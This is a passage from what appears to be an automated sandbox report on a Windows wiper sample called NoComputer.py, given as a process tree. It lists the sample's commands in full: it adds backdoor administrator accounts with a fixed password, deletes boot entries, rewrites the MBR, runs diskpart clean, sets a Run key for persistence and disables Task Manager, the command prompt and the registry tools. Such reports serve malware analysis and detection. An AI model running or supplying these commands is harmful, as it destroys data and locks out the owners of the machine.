    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death3\" set PasswordExpires=False"
    3⤵
    PID:4188
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death3\" set PasswordExpires=False
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death4 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:4876
  - - C:\Windows\system32\net.exe
      net user death4 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:4508
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death4 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death4 /add"
    3⤵
    PID:5736
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death4 /add
      4⤵
      PID:5748
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death4 /add
        5⤵
        
        PID:5900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death4\" set PasswordExpires=False"
    3⤵
    PID:4328
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death4\" set PasswordExpires=False
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death5 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:2844
  - - C:\Windows\system32\net.exe
      net user death5 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:4960
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death5 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:4592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death5 /add"
    3⤵
    PID:4336
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death5 /add
      4⤵
      PID:3196
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death5 /add
        5⤵
        
        PID:5584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death5\" set PasswordExpires=False"
    3⤵
    PID:2304
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death5\" set PasswordExpires=False
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death6 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:5804
  - - C:\Windows\system32\net.exe
      net user death6 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:5268
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death6 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:4528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death6 /add"
    3⤵
    PID:4152
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death6 /add
      4⤵
      PID:5764
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death6 /add
        5⤵
        
        PID:5592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death6\" set PasswordExpires=False"
    3⤵
    PID:5684
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death6\" set PasswordExpires=False
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death7 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:4752
  - - C:\Windows\system32\net.exe
      net user death7 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:2584
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death7 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:4700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death7 /add"
    3⤵
    PID:5320
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death7 /add
      4⤵
      PID:3100
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death7 /add
        5⤵
        
        PID:2872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death7\" set PasswordExpires=False"
    3⤵
    PID:3692
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death7\" set PasswordExpires=False
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death8 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:2956
  - - C:\Windows\system32\net.exe
      net user death8 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:1080
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death8 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:5604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death8 /add"
    3⤵
    PID:5504
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death8 /add
      4⤵
      PID:3980
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death8 /add
        5⤵
        
        PID:5744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death8\" set PasswordExpires=False"
    3⤵
    PID:5300
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death8\" set PasswordExpires=False
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death9 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:1904
  - - C:\Windows\system32\net.exe
      net user death9 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:1492
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death9 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:5020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death9 /add"
    3⤵
    PID:3572
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death9 /add
      4⤵
      PID:4340
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death9 /add
        5⤵
        
        PID:3060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death9\" set PasswordExpires=False"
    3⤵
    PID:4576
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death9\" set PasswordExpires=False
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death10 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:5088
  - - C:\Windows\system32\net.exe
      net user death10 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:4076
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death10 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:2548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death10 /add"
    3⤵
    PID:1188
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death10 /add
      4⤵
      PID:1756
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death10 /add
        5⤵
        
        PID:4836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death10\" set PasswordExpires=False"
    3⤵
    PID:4428
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death10\" set PasswordExpires=False
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:4928
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:5428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:4136
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:4608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f"
    3⤵
    PID:1928
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f
      4⤵
      Modifies registry key
      PID:3244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:4440
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:5932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:6120
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:1432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rundll32.exe user32.dll,UpdatePerUserSystemParameters"
    3⤵
    PID:1240
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe user32.dll,UpdatePerUserSystemParameters
      4⤵
      PID:1800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {current} /f"
    3⤵
    PID:4620
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:6084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bootsect /nt60 sys /mbr"
    3⤵
    PID:5024
  - - C:\Windows\system32\bootsect.exe
      bootsect /nt60 sys /mbr
      4⤵
      PID:4908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\NoComputer.py\"" /f"
    3⤵
    PID:2980
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\NoComputer.py\"" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:3128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "diskpart /s clean.txt"
    3⤵
    PID:5180
  - - C:\Windows\system32\diskpart.exe
      diskpart /s clean.txt
      4⤵
      PID:2876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
    3⤵
    PID:2560
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:4132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:3060
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:4748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:6040
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      PID:6096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f"
    3⤵
    PID:4308
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:1116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f"
    3⤵
    PID:5972
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2240
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:6216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f"
    3⤵
    PID:6456
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f
      4⤵
      PID:6728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:6840
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      PID:7076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:7160
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4524
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f"
    3⤵
    PID:3732
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:6824

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5408

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Enumerates connected drives
- Checks SCSI registry key(s)
PID:4500

C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe" "C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\NoComputer.py"
1⤵
PID:4316
- C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
  C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\NoComputer.py
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Sets desktop wallpaper using registry
  - Drops file in Windows directory
  - Suspicious use of SetWindowsHookEx
  PID:3860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death1 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:1692
  - - C:\Windows\system32\net.exe
      net user death1 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:5988
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death1 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:3704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:3736
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:5392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:5028
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f
      4⤵
      PID:960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f"
    3⤵
    PID:5696
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f
      4⤵
      PID:4252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:2372
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:4884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:5604
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:2520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rundll32.exe user32.dll,UpdatePerUserSystemParameters"
    3⤵
    PID:3892
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe user32.dll,UpdatePerUserSystemParameters
      4⤵
      PID:1500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {current} /f"
    3⤵
    PID:6052
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ONEFIL~2\NoComputer.py\"" /f"
    3⤵
    PID:4660
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ONEFIL~2\NoComputer.py\"" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:4536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "diskpart /s clean.txt"
    3⤵
    PID:2832
  - - C:\Windows\system32\diskpart.exe
      diskpart /s clean.txt
      4⤵
      PID:1340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
    3⤵
    PID:1584
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:536
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:1632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:2396
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:2596
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:4224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f"
    3⤵
    PID:516
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6096
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f"
    3⤵
    PID:5900
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4460
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:6204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f"
    3⤵
    PID:6396
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f
      4⤵
      PID:6620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:6908
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:7120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:4432
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:4108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f"
    3⤵
    PID:1228
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:6152

C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe" "C:\Users\Admin\AppData\Local\Temp\ONEFIL~2\NoComputer.py"
1⤵
PID:2308
- C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
  C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe C:\Users\Admin\AppData\Local\Temp\ONEFIL~2\NoComputer.py
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Sets desktop wallpaper using registry
  - Drops file in Windows directory
  - Suspicious use of SetWindowsHookEx
  PID:3768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death1 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:3492
  - - C:\Windows\system32\net.exe
      net user death1 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:5548
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death1 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:3352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:2248
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f
      4⤵
      PID:5428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:1804
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:4608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f"
    3⤵
    PID:3656
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f
      4⤵
      PID:4736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:4688
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:3152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:4584
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:3852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rundll32.exe user32.dll,UpdatePerUserSystemParameters"
    3⤵
    PID:1832
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe user32.dll,UpdatePerUserSystemParameters
      4⤵
      PID:5260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {current} /f"
    3⤵
    PID:1308
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:6084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ONEFIL~3\NoComputer.py\"" /f"
    3⤵
    PID:2428
  - - C:\Windows\system32\reg.exe
